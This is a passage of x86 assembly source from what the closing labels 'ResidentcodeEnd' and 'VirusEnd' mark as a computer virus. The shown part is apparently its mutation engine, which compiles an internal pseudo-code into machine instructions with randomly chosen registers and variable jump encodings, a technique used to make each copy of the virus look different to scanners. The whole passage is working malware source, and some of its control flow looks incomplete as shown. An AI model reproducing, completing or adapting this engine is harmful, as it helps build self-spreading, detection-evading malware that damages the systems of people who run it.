|
||
lea edx,[Instruction+ebp]
|
||
add edx,[InstructionLength+ebp]
|
||
mov [edx],eax
|
||
add [InstructionLength+ebp],4
|
||
pop edx
|
||
|
||
or byte ptr [edx],cl
|
||
ret
|
||
|
||
OutputInstruction:
|
||
push esi
|
||
lea esi,[Instruction+ebp]
|
||
mov ecx,[InstructionLength+ebp]
|
||
rep movsb
|
||
pop esi
|
||
ret
|
||
|
||
|
||
; input
|
||
; Edi -> where to put compiled code
|
||
; Esi -> code to compile
|
||
|
||
; return
|
||
; eax = where to put compiled code
|
||
; ebx = size of compiled code
|
||
Compile:
|
||
push edi
|
||
sub esi,16
|
||
|
||
CompileAgain:
|
||
mov [Instruction+ebp],0
|
||
mov [InstructionLength+ebp],0
|
||
call ReadInstruction1
|
||
mov al,0c3h
|
||
mov byte ptr [edi],al
|
||
jmp CompileAgain
|
||
|
||
CompileEnd:
|
||
pop esi
|
||
pop esi
|
||
mov eax,edi
|
||
sub eax,esi
|
||
ret
|
||
|
||
|
||
|
||
OffsetProc:
|
||
call AsciiToNum
|
||
mov [SavedOffsets+ebp+eax*4],edi
|
||
ret
|
||
|
||
DeclareByteProc:
|
||
xor eax,eax
|
||
lodsb
|
||
mov ecx,eax
|
||
rep movsb
|
||
ret
|
||
|
||
MoveProc:
|
||
push ebx
|
||
call ReadOperands
|
||
call SetDirectionBit
|
||
call FetchOpcode
|
||
|
||
test eax,eax
|
||
jz DefaultProc1Label1
|
||
call GetRegMem
|
||
mov ecx,eax
|
||
mov eax,1
|
||
cmp ebx,8
|
||
jz DefaultProc1Label1
|
||
|
||
mov eax,[ecx*4+RegistersBitValue+ebp]
|
||
lea edx,[Instruction+ebp]
|
||
pop ebx
|
||
or al,byte ptr [ebx+2]
|
||
|
||
mov [edx],eax
|
||
|
||
call GetOther
|
||
mov [edx+1],eax
|
||
mov [InstructionLength+ebp],5
|
||
jmp OutputInstruction
|
||
|
||
|
||
|
||
DefaultProc1:
|
||
push ebx
|
||
call ReadOperands
|
||
call SetDirectionBit
|
||
call FetchOpcode
|
||
|
||
DefaultProc1Label1:
|
||
pop ebx
|
||
add ebx,eax
|
||
|
||
movzx ecx,byte ptr [ebx]
|
||
inc ecx
|
||
|
||
dec eax
|
||
jnz Label41
|
||
mov ch,byte ptr [ebx+2]
|
||
shl ch,3
|
||
|
||
Label41:
|
||
|
||
or [Instruction+ebp],ecx
|
||
inc [InstructionLength+ebp]
|
||
|
||
dec eax
|
||
jz CopyDataToInstruction
|
||
|
||
call FixAddresses
|
||
jmp OutputInstruction
|
||
|
||
CopyDataToInstruction:
|
||
call GetOther
|
||
lea ebx,[Instruction+ebp]
|
||
add ebx,[InstructionLength+ebp]
|
||
mov [ebx],eax
|
||
add [InstructionLength+ebp],4
|
||
jmp OutputInstruction
|
||
|
||
|
||
;-JMP-------Jump
|
||
;Near,8-bit |1|1|1|0|1|0|1|1| 8-bit Displacement
|
||
;Near,Direct |1|1|1|0|1|0|0|1| Full Displacement
|
||
;Near,Indirect |1|1|1|1|1|1|1|1| |mod|1|0|0| R/M |
|
||
|
||
|
||
JmpProc:
|
||
call GetOperand
|
||
xor ecx,ecx
|
||
|
||
test ebx,ebx
|
||
jz JumpIsIndirect
|
||
|
||
mov ebx,[eax*4+RegistersBitValue+ebp]
|
||
|
||
mov al,0ffh
|
||
stosb
|
||
|
||
mov eax,ebx
|
||
or eax,00100000b
|
||
stosb
|
||
ret
|
||
|
||
JumpIsIndirect:
|
||
mov ebx,[SavedOffsets+ebp+eax]
|
||
sub ebx,edi
|
||
|
||
add ebx,4
|
||
|
||
test ebx,0fffffff8h
|
||
jz OutPutSmallJump
|
||
|
||
ret
|
||
|
||
|
||
JxxProc:
|
||
movzx edx,byte ptr [ebx]
|
||
push edx
|
||
call GetOperand
|
||
pop edx
|
||
|
||
mov ebx,[SavedOffsets+ebp+eax]
|
||
sub ebx,edi
|
||
|
||
add ebx,4
|
||
|
||
test ebx,0fffffff8h
|
||
jz OutPutSmallJump
|
||
|
||
mov al,0fh
|
||
stosb
|
||
|
||
mov al,10000000b
|
||
or eax,edx
|
||
stosb
|
||
|
||
sub ebx,6+4
|
||
mov eax,ebx
|
||
stosd
|
||
ret
|
||
|
||
|
||
OutPutSmallJump:
|
||
mov al,01110000b
|
||
or eax,edx
|
||
stosb
|
||
mov eax,ebx
|
||
sub eax,2+4
|
||
stosb
|
||
ret
|
||
|
||
ret
|
||
|
||
|
||
GetOperand:
|
||
xor edx,edx
|
||
mov al,byte ptr [esi]
|
||
cmp al,'['
|
||
setz dl
|
||
mov ecx,edx
|
||
add esi,edx
|
||
shl edx,3
|
||
mov ebx,edx ; ebx = 0 or 8
|
||
|
||
lodsb
|
||
cmp al,'S' ; A variable
|
||
jnz Label53
|
||
|
||
mov edx,[PointerToDataSlack+ebp]
|
||
lodsd
|
||
mov eax,[edx+eax*4]
|
||
add esi,ecx
|
||
xor edx,edx
|
||
ret
|
||
|
||
Label53:
|
||
cmp al,'R'
|
||
setz dl
|
||
shl edx,2
|
||
add ebx,edx ; ebx = ebx + (0 or 4)
|
||
|
||
test edx,edx ; is value
|
||
jz ReadValue
|
||
|
||
xor eax,eax
|
||
lodsb ; read register
|
||
|
||
cmp al,'X'
|
||
jz GetRandomReg
|
||
|
||
sub eax,'0'
|
||
|
||
add esi,ecx
|
||
ret
|
||
|
||
ReadValue:
|
||
lodsd
|
||
add esi,ecx
|
||
ret
|
||
|
||
Return:
|
||
ret
|
||
|
||
AsciiToNum:
|
||
xor eax,eax
|
||
lodsb
|
||
sub eax,'0'
|
||
ret
|
||
|
||
|
||
ResidentcodeEnd:
|
||
|
||
|
||
|
||
VirusEnd:
|
||
_rsrc ends
|
||
end Main
|